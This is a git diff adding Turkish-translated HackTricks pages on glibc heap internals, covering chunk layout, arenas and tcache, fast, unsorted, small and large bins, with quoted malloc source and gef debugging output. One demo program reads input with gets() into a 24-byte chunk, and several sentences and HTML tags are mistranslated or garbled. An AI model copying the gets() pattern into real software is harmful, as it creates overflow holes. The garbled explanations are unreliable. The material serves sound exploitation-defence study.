+```
+* Başlık ve altbilgiyi ayarlayın (parça numaraları kullanıldığında)
+```c
+/* Set size at head, without disturbing its use bit */
+#define set_head_size(p, s)  ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
+
+/* Set size/use field */
+#define set_head(p, s)       ((p)->mchunk_size = (s))
+
+/* Set size at footer (only when chunk is not in use) */
+#define set_foot(p, s)       (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
+```
+* Parçanın içindeki gerçek kullanılabilir veri boyutunu alın.
+```c
+#pragma GCC poison mchunk_size
+#pragma GCC poison mchunk_prev_size
+
+/* This is the size of the real usable data in the chunk.  Not valid for
+dumped heap chunks.  */
+#define memsize(p)                                                    \
+(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
+chunksize (p) - CHUNK_HDR_SZ :                                    \
+chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
+
+/* If memory tagging is enabled the layout changes to accommodate the granule
+size, this is wasteful for small allocations so not done by default.
+Both the chunk header and user data has to be granule aligned.  */
+_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
+"memory tagging is not supported with large granule.");
+
+static __always_inline void *
+tag_new_usable (void *ptr)
+{
+if (__glibc_unlikely (mtag_enabled) && ptr)
+{
+mchunkptr cp = mem2chunk(ptr);
+ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
+}
+return ptr;
+}
+```
+## Örnekler
+
+### Hızlı Heap Örneği
+
+[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) adresindeki hızlı heap örneği, ancak arm64'te:
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+void main(void)
+{
+char *ptr;
+ptr = malloc(0x10);
+strcpy(ptr, "panda");
+}
+```
+Ana fonksiyonun sonunda bir kesme noktası belirleyin ve bilginin nerede saklandığını bulalım:
+
+<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
+
+Görülebileceği gibi, dize panda `0xaaaaaaac12a0` adresinde saklandı (bu adres, `x0` içinde malloc tarafından yanıt olarak verilen adresdi). Onun 0x10 byte öncesini kontrol etmek mümkün olduğunda, `0x0`'ın **önceki parçanın kullanılmadığını** (uzunluğu 0) ve bu parçanın uzunluğunun `0x21` olduğunu görmek mümkündür.
+
+Ekstra boşluklar ayrılmıştır (0x21-0x10=0x11) **eklenen başlıklardan** (0x10) ve 0x1, 0x21B ayrılmış olduğu anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 bitinin bazı özel anlamları vardır. Uzunluk her zaman 16 bayt hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacak.
+```
+0x1:     Previous in Use     - Specifies that the chunk before it in memory is in use
+0x2:     Is MMAPPED          - Specifies that the chunk was obtained with mmap()
+0x4:     Non Main Arena      - Specifies that the chunk was obtained from outside of the main arena
+```
+### Çoklu İş Parçacığı Örneği
+
+<details>
+
+<summary>Çoklu İş Parçacığı</summary>
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sys/types.h>
+
+
+void* threadFuncMalloc(void* arg) {
+printf("Hello from thread 1\n");
+char* addr = (char*) malloc(1000);
+printf("After malloc and before free in thread 1\n");
+free(addr);
+printf("After free in thread 1\n");
+}
+
+void* threadFuncNoMalloc(void* arg) {
+printf("Hello from thread 2\n");
+}
+
+
+int main() {
+pthread_t t1;
+void* s;
+int ret;
+char* addr;
+
+printf("Before creating thread 1\n");
+getchar();
+ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
+getchar();
+
+printf("Before creating thread 2\n");
+ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
+
+printf("Before exit\n");
+getchar();
+
+return 0;
+}
+```
+</details>
+
+Önceki örneği hata ayıkladığınızda başlangıçta sadece 1 arena olduğunu görmek mümkündür:
+
+<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
+
+Ardından, ilk ipliği çağıran, yani malloc'u çağıran iplik çağrıldıktan sonra yeni bir arena oluşturulur:
+
+<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
+
+ve içinde bazı parçalar bulunabilir:
+
+<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+
+## Bins & Bellek Tahsisleri/Boşaltmaları
+
+Bakın hangi kovaların olduğuna ve nasıl düzenlendiğine ve belleğin nasıl tahsis edildiğine ve boşaltıldığına:
+
+{% content-ref url="bins-and-memory-allocations.md" %}
+[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
+{% endcontent-ref %}
+
+## Heap Fonksiyonları Güvenlik Kontrolleri
+
+Heap ile ilgili fonksiyonlar, işlemlerini gerçekleştirmeden önce belirli kontroller yapacak ve heap'in bozulmadığından emin olmaya çalışacaktır:
+
+{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
+[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
+{% endcontent-ref %}
+
+## Referanslar
+
+* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
+* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

binary-exploitation/libc-heap/bins-and-memory-allocations.md

@@ -0,0 +1,621 @@
+# Bins ve Bellek Tahsisleri
+
+<details>
+
+<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
+
+HackTricks'ı desteklemenin diğer yolları:
+
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
+* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+
+</details>
+
+## Temel Bilgiler
+
+Parçaların nasıl depolandığındaki verimliliği artırmak için her parça sadece bir bağlı listede değil, birkaç türde depolanır. Bunlar "bins"lerdir ve 5 tür bin vardır: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) küçük bins, 63 büyük bins, 1 sıralanmamış bin, 10 hızlı bins ve her iş parçacığı için 64 tcache bin'i bulunmaktadır.
+
+Her sıralanmamış, küçük ve büyük binin başlangıç adresi aynı dizinin içindedir. İndeks 0 kullanılmamıştır, 1 sıralanmamış bin, 2-64 arası küçük bins ve 65-127 arası büyük binslerdir.
+
+### Tcache (İş Parçacığı Önbelleği) Binsleri
+
+İş parçacıkları kendi belleğe sahip olmaya çalışsa da (bkz. [Arenalar](bins-and-memory-allocations.md#arenas) ve [Alt bellekler](bins-and-memory-allocations.md#subheaps)), birçok iş parçacığına sahip bir işlem (örneğin bir web sunucusu gibi) **başka iş parçacıklarıyla belleği paylaşabilir**. Bu durumda, ana çözüm **kilitlerin** kullanılmasıdır, bu da iş parçacıklarını **önemli ölçüde yavaşlatabilir**.
+
+Bu nedenle, bir tcache, parçaları birleştirmeyen **tek yönlü bağlı listedir** ve her iş parçacığının **64 adet tek yönlü tcache bin'i** bulunmaktadır. Her bin, [64 bit sistemlerde 24 ile 1032B ve 32 bit sistemlerde 12 ile 516B arasında değişen](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) en fazla [7 aynı boyutta parçaya](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) sahip olabilir.
+
+Bir iş parçacığı bir parçayı serbest bıraktığında, eğer tcache'de tahsis edilecek kadar büyük değilse ve ilgili tcache bin **dolu değilse** (zaten 7 parça), **oraya tahsis edilecektir**. Tcache'e gidemezse, genel olarak serbest bırakma işlemini gerçekleştirebilmek için bellek kilidinin açılmasını beklemelidir.
+
+Bir **parça tahsis edildiğinde**, eğer **Tcache'de ihtiyaç duyulan boyutta boş bir parça varsa onu kullanır**, yoksa genel binslerde bir tane bulmak veya yeni bir tane oluşturabilmek için bellek kilidinin açılmasını beklemelidir.\
+Bu durumda bir optimizasyon da vardır, bu durumda bellek kilidi açıkken, iş parçacığı **istenen boyutta heap parçalarıyla (7) Tcache'ini dolduracaktır**, böylece daha fazlasına ihtiyaç duyarsa onları Tcache'de bulacaktır.
+
+<details>
+
+<summary>Bir tcache parça örneği ekle</summary>
+```c
+#include <stdlib.h>
+#include <stdio.h>
+
+int main(void)
+{
+char *chunk;
+chunk = malloc(24);
+printf("Address of the chunk: %p\n", (void *)chunk);
+gets(chunk);
+free(chunk);
+return 0;
+}
+```
+Derleyin ve ana fonksiyondaki ret opcode'unda bir kesme noktası ile hata ayıklamayı başlatın. Sonra gef ile tcache bin'in kullanımda olduğunu görebilirsiniz:
+```bash
+gef➤  heap bins
+──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
+Tcachebins[idx=0, size=0x20, count=1] ←  Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+```
+</details>
+
+#### Tcache Yapıları ve Fonksiyonlar
+
+Aşağıdaki kodda **maksimum bins** ve **her indeks başına düşen parçalar**, çift serbest bırakmaları önlemek için oluşturulan **`tcache_entry`** yapısı ve her bir iş parçasının adreslerini saklamak için her iş parçasının kullandığı **`tcache_perthread_struct`** yapısı görülebilir.
+
+<details>
+
+<summary><code>tcache_entry</code> ve <code>tcache_perthread_struct</code></summary>
+```c
+// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
+
+/* We want 64 entries.  This is an arbitrary limit, which tunables can reduce.  */
+# define TCACHE_MAX_BINS		64
+# define MAX_TCACHE_SIZE	tidx2usize (TCACHE_MAX_BINS-1)
+
+/* Only used to pre-fill the tunables.  */
+# define tidx2usize(idx)	(((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
+
+/* When "x" is from chunksize().  */
+# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
+/* When "x" is a user-provided size.  */
+# define usize2tidx(x) csize2tidx (request2size (x))
+
+/* With rounding and alignment, the bins are...
+idx 0   bytes 0..24 (64-bit) or 0..12 (32-bit)
+idx 1   bytes 25..40 or 13..20
+idx 2   bytes 41..56 or 21..28
+etc.  */
+
+/* This is another arbitrary limit, which tunables can change.  Each
+tcache bin will hold at most this number of chunks.  */
+# define TCACHE_FILL_COUNT 7
+
+/* Maximum chunks in tcache bins for tunables.  This value must fit the range
+of tcache->counts[] entries, else they may overflow.  */
+# define MAX_TCACHE_COUNT UINT16_MAX
+
+[...]
+
+typedef struct tcache_entry
+{
+struct tcache_entry *next;
+/* This field exists to detect double frees.  */
+uintptr_t key;
+} tcache_entry;
+
+/* There is one of these for each thread, which contains the
+per-thread cache (hence "tcache_perthread_struct").  Keeping
+overall size low is mildly important.  Note that COUNTS and ENTRIES
+are redundant (we could have just counted the linked list each
+time), this is for performance reasons.  */
+typedef struct tcache_perthread_struct
+{
+uint16_t counts[TCACHE_MAX_BINS];
+tcache_entry *entries[TCACHE_MAX_BINS];
+} tcache_perthread_struct;
+```
+</details>
+
+`__tcache_init` işlevi, `tcache_perthread_struct` nesnesi için alan oluşturan ve ayıran işlevdir.
+
+<details>
+
+<summary>tcache_init kodu</summary>
+```c
+// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
+
+static void
+tcache_init(void)
+{
+mstate ar_ptr;
+void *victim = 0;
+const size_t bytes = sizeof (tcache_perthread_struct);
+
+if (tcache_shutting_down)
+return;
+
+arena_get (ar_ptr, bytes);
+victim = _int_malloc (ar_ptr, bytes);
+if (!victim && ar_ptr != NULL)
+{
+ar_ptr = arena_get_retry (ar_ptr, bytes);
+victim = _int_malloc (ar_ptr, bytes);
+}
+
+
+if (ar_ptr != NULL)
+__libc_lock_unlock (ar_ptr->mutex);
+
+/* In a low memory situation, we may not be able to allocate memory
+- in which case, we just keep trying later.  However, we
+typically do this very early, so either there is sufficient
+memory, or there isn't enough memory to do non-trivial
+allocations anyway.  */
+if (victim)
+{
+tcache = (tcache_perthread_struct *) victim;
+memset (tcache, 0, sizeof (tcache_perthread_struct));
+}
+
+}
+```
+</details>
+
+#### Tcache İndeksleri
+
+Tcache, **her bir indeksin ilk parçasına işaret eden başlangıç işaretçilerine ve her indeks için parça miktarına bağlı olarak birkaç farklı bina sahiptir ve bu bilgiler bir parça içinde bulunur**. Bu, bu bilgileri içeren parçayı (genellikle ilk parçayı) bulmak, tüm tcache başlangıç noktalarını ve Tcache parça miktarını bulmayı mümkün kılar.
+
+### Hızlı Bins
+
+Hızlı binalar, **küçük parçalar için bellek tahsisini hızlandırmak için tasarlanmıştır** ve son zamanlarda serbest bırakılan parçaları hızlı erişim yapısında tutarak. Bu binalar, Son Giren İlk Çıkar (LIFO) yaklaşımını kullanır, yani **en son serbest bırakılan parça ilk** olarak yeniden kullanılırken yeni bir tahsis isteği olduğunda. Bu davranış, hız için avantajlıdır, çünkü bir yığının üstünden (LIFO) ekleme ve çıkarma yapmak bir kuyruktan (FIFO) daha hızlıdır.
+
+Ayrıca, **hızlı binalar tek yönlü bağlı listeleri kullanır**, çift yönlü değil, bu da hızı daha da artırır. Hızlı binalardaki parçalar komşularla birleştirilmediği için, ortadan kaldırma izni veren karmaşık bir yapıya ihtiyaç yoktur. Tek yönlü bir bağlı liste, bu işlemler için daha basit ve daha hızlıdır.
+
+Temelde burada olan şey, başlık (kontrol edilecek ilk parçaya işaret eden işaretçi) her zaman o boyuttaki en son serbest bırakılan parçaya işaret eder. Dolayısıyla:
+
+* Bu boyutta yeni bir parça tahsis edildiğinde, başlık kullanılacak bir boş parçaya işaret eder. Bu boş parça, kullanılacak bir sonraki parçaya işaret ettiği için, bu adres başlıkta saklanır, böylece bir sonraki tahsis nereden alacağını bilir.
+* Bir parça serbest bırakıldığında, boş parça mevcut kullanılabilir parçanın adresini kaydeder ve bu yeni serbest bırakılan parçanın adresi başlığa konur.
+
+Bağlı listenin maksimum boyutu `0x80` ve bir parçanın boyutu `0x20-0x2f` ise `0` indekste olacak, bir parçanın boyutu `0x30-0x3f` ise `1` indekste olacaktır...
+
+{% hint style="danger" %}
+Hızlı binalardaki parçalar mevcut olarak ayarlanmadığından, etraflarındaki diğer serbest parçalarla birleştirilebilme yeteneğine sahip olmaları yerine bir süre hızlı bina parçaları olarak tutulurlar.
+{% endhint %}
+```c
+// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
+
+/*
+Fastbins
+
+An array of lists holding recently freed small chunks.  Fastbins
+are not doubly linked.  It is faster to single-link them, and
+since chunks are never removed from the middles of these lists,
+double linking is not necessary. Also, unlike regular bins, they
+are not even processed in FIFO order (they use faster LIFO) since
+ordering doesn't much matter in the transient contexts in which
+fastbins are normally used.
+
+Chunks in fastbins keep their inuse bit set, so they cannot
+be consolidated with other free chunks. malloc_consolidate
+releases all chunks in fastbins and consolidates them with
+other free chunks.
+*/
+
+typedef struct malloc_chunk *mfastbinptr;
+#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
+
+/* offset 2 to use otherwise unindexable first 2 bins */
+#define fastbin_index(sz) \
+((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
+
+
+/* The maximum fastbin request size we support */
+#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)
+
+#define NFASTBINS  (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
+```
+<detaylar>
+
+<özet> Hızlı bir blok parçası örneği ekleyin </özet>
+```c
+#include <stdlib.h>
+#include <stdio.h>
+
+int main(void)
+{
+char *chunks[8];
+int i;
+
+// Loop to allocate memory 8 times
+for (i = 0; i < 8; i++) {
+chunks[i] = malloc(24);
+if (chunks[i] == NULL) { // Check if malloc failed
+fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
+return 1;
+}
+printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
+}
+
+// Loop to free the allocated memory
+for (i = 0; i < 8; i++) {
+free(chunks[i]);
+}
+
+return 0;
+}
+```
+Not: Aynı boyutta 8 parça ayırdığımızı ve serbest bıraktığımızı gözlemleyin, böylece tcache'i doldururlar ve sekizincisi hızlı parçada depolanır.
+
+Bunu derleyin ve ana fonksiyondaki ret opcode'unda bir kesme noktası ile hata ayıklamayı yapın. Sonra gef ile tcache bin'in doluluk durumunu ve hızlı bindeki bir parçayı görebilirsiniz:
+```bash
+gef➤  heap bins
+──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
+Tcachebins[idx=0, size=0x20, count=7] ←  Chunk(addr=0xaaaaaaac1770, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac1750, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac1730, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac1710, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac16f0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac16d0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
+Fastbins[idx=0, size=0x20]  ←  Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+Fastbins[idx=1, size=0x30] 0x00
+```
+### Sıralanmamış kova
+
+Sıralanmamış kova, bellek tahsisini hızlandırmak için kullanılan bir **önbellek**tir. İşte nasıl çalışır: Bir program bir parçayı serbest bıraktığında ve bu parça bir tcache veya hızlı kova içinde tahsis edilemiyorsa ve üst parçayla çakışmıyorsa, bellek yöneticisi hemen onu belirli bir küçük veya büyük kovaya koymaz. Bunun yerine, öncelikle **bitişik boş parçalarla birleştirmeye** çalışır ve daha büyük bir boş bellek bloğu oluşturur. Daha sonra, bu yeni parçayı "sıralanmamış kova" olarak adlandırılan genel bir kovaya yerleştirir.
+
+Bir program **bellek istediğinde**, bellek yöneticisi **sıralanmamış kovayı kontrol eder** ve yeterli boyutta bir parça bulunup bulunmadığını kontrol eder. Bir tane bulursa, hemen kullanır. Sıralanmamış kovada uygun bir parça bulamazsa, bu listedeki tüm parçaları boyutlarına göre küçük veya büyük olmak üzere ilgili kovalarına taşır.
+
+Dikkat edin ki daha büyük bir parça ikiye bölünürse ve geri kalanı MINSIZE'dan büyükse, sıralanmamış kovaya geri yerleştirilecektir.
+
+Bu nedenle, sıralanmamış kova, son zamanlarda serbest bırakılan belleği hızlı bir şekilde yeniden kullanarak bellek tahsisini hızlandırmak ve zaman alıcı aramaları ve birleştirmeleri azaltmak için bir yol sağlar.
+
+{% hint style="danger" %}
+Farklı kategorilerdeki parçalar olsalar bile, bir mevcut parça başka bir mevcut parçayla çakışıyorsa (başlangıçta farklı kovalara ait olsalar bile), birleştirileceklerdir.
+{% endhint %}
+
+<details>
+
+<summary>Bir sıralanmamış parça örneği ekleyin</summary>
+```c
+#include <stdlib.h>
+#include <stdio.h>
+
+int main(void)
+{
+char *chunks[9];
+int i;
+
+// Loop to allocate memory 8 times
+for (i = 0; i < 9; i++) {
+chunks[i] = malloc(0x100);
+if (chunks[i] == NULL) { // Check if malloc failed
+fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
+return 1;
+}
+printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
+}
+
+// Loop to free the allocated memory
+for (i = 0; i < 8; i++) {
+free(chunks[i]);
+}
+
+return 0;
+}
+```
+Not: Aynı boyutta 9 parça ayırdığımız ve serbest bıraktığımızı göz önünde bulundurun, böylece **tcache'i doldururlar** ve sekizincisi **fastbin için çok büyük olduğu için** sıralanmamış binde depolanır ve dokuzuncusu serbest bırakılmaz, bu nedenle dokuzuncu ve sekizinci **üst parça ile birleştirilmez**.
+
+Bunu derleyin ve ana fonksiyondan dönüş opkodu ile hata ayıklamak için hata ayıklama yapın. Sonra gef ile tcache binin dolu olduğunu ve sıralanmamış binde bir parçanın olduğunu görebilirsiniz:
+```bash
+gef➤  heap bins
+──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
+Tcachebins[idx=15, size=0x110, count=7] ←  Chunk(addr=0xaaaaaaac1d10, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac1c00, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac1af0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac19e0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac18d0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac17c0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac12a0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
+Fastbins[idx=0, size=0x20] 0x00
+Fastbins[idx=1, size=0x30] 0x00
+Fastbins[idx=2, size=0x40] 0x00
+Fastbins[idx=3, size=0x50] 0x00
+Fastbins[idx=4, size=0x60] 0x00
+Fastbins[idx=5, size=0x70] 0x00
+Fastbins[idx=6, size=0x80] 0x00
+─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
+[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
+→   Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+[+] Found 1 chunks in unsorted bin.
+```
+</details>
+
+### Küçük Bins
+
+Küçük boşluklar büyük boşluklardan daha hızlı ancak hızlı boşluklardan daha yavaştır.
+
+62'nin her bir kutusu **aynı boyutta parçalara** sahip olacaktır: 16, 24, ... (32 bit için maksimum 504 bayt ve 64 bit için 1024 bayt). Bu, bir alanın tahsis edilmesi gereken kutuyu bulma hızına ve bu listelerdeki girişlerin eklenmesine ve çıkarılmasına yardımcı olur.
+
+Küçük kutunun boyutu, kutunun indeksine göre nasıl hesaplandığı şöyle belirlenir:
+
+* En küçük boyut: 2\*4\*indeks (örneğin, indeks 5 -> 40)
+* En büyük boyut: 2\*8\*indeks (örneğin, indeks 5 -> 80)
+```c
+// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
+#define NSMALLBINS         64
+#define SMALLBIN_WIDTH    MALLOC_ALIGNMENT
+#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > CHUNK_HDR_SZ)
+#define MIN_LARGE_SIZE    ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
+
+#define in_smallbin_range(sz)  \
+((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
+
+#define smallbin_index(sz) \
+((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
++ SMALLBIN_CORRECTION)
+```
+Küçük ve büyük kutular arasında seçim yapmak için işlev:
+```c
+#define bin_index(sz) \
+((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
+```
+<detaylar>
+
+<özet>Küçük bir parça örneği ekle</özet>
+```c
+#include <stdlib.h>
+#include <stdio.h>
+
+int main(void)
+{
+char *chunks[10];
+int i;
+
+// Loop to allocate memory 8 times
+for (i = 0; i < 9; i++) {
+chunks[i] = malloc(0x100);
+if (chunks[i] == NULL) { // Check if malloc failed
+fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
+return 1;
+}
+printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
+}
+
+// Loop to free the allocated memory
+for (i = 0; i < 8; i++) {
+free(chunks[i]);
+}
+
+chunks[9] = malloc(0x110);
+
+return 0;
+}
+```
+Not allokasyon ve serbest bırakma işlemlerini 9 aynı boyutta parça için nasıl yaptığımıza dikkat edin, böylece **tcache'i doldururlar** ve sekizincisi **hızlı bin için fazla büyük olduğu için** sıralanmamış bölgede depolanır ve dokuzuncusu serbest bırakılmaz, bu yüzden dokuzuncu ve sekizincisi **üst parça ile birleştirilmez**. Daha sonra 0x110 boyutunda daha büyük bir parça tahsis ederiz, bu da **sıralanmamış bölgedeki parçanın küçük bölgeye gitmesini sağlar**.
+
+Derleyin ve ana işlevden dönüş komutunda bir kesme noktası ile hata ayıklamayı yapın. Sonra gef ile tcache binin dolu olduğunu ve küçük bölgedeki bir parçayı görebilirsiniz:
+```bash
+gef➤  heap bins
+──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
+Tcachebins[idx=15, size=0x110, count=7] ←  Chunk(addr=0xaaaaaaac1d10, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac1c00, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac1af0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac19e0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac18d0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac17c0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  Chunk(addr=0xaaaaaaac12a0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────────
+Fastbins[idx=0, size=0x20] 0x00
+Fastbins[idx=1, size=0x30] 0x00
+Fastbins[idx=2, size=0x40] 0x00
+Fastbins[idx=3, size=0x50] 0x00
+Fastbins[idx=4, size=0x60] 0x00
+Fastbins[idx=5, size=0x70] 0x00
+Fastbins[idx=6, size=0x80] 0x00
+─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
+[+] Found 0 chunks in unsorted bin.
+──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
+[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
+→   Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
+[+] Found 1 chunks in 1 small non-empty bins.
+```
+### Büyük kovalar
+
+Küçük kovaların aksine, her **büyük kova bir aralıkta parça boyutlarını yönetir**. Bu daha esnek bir yapıya sahiptir, çeşitli boyutları **ayrı bir kova oluşturmadan** barındırabilmesine olanak tanır.
+
+Bir bellek tahsis edicisinde, büyük kovalar küçük kovaların bittiği yerden başlar. Büyük kovalar için aralıklar giderek büyür, yani ilk kova 512 ile 576 bayt arasındaki parçaları kapsayabilirken, bir sonraki kova 576 ile 640 bayt arasındakileri kapsar. Bu desen devam eder ve en büyük kova 1MB'nin üzerindeki tüm parçaları içerir.
+
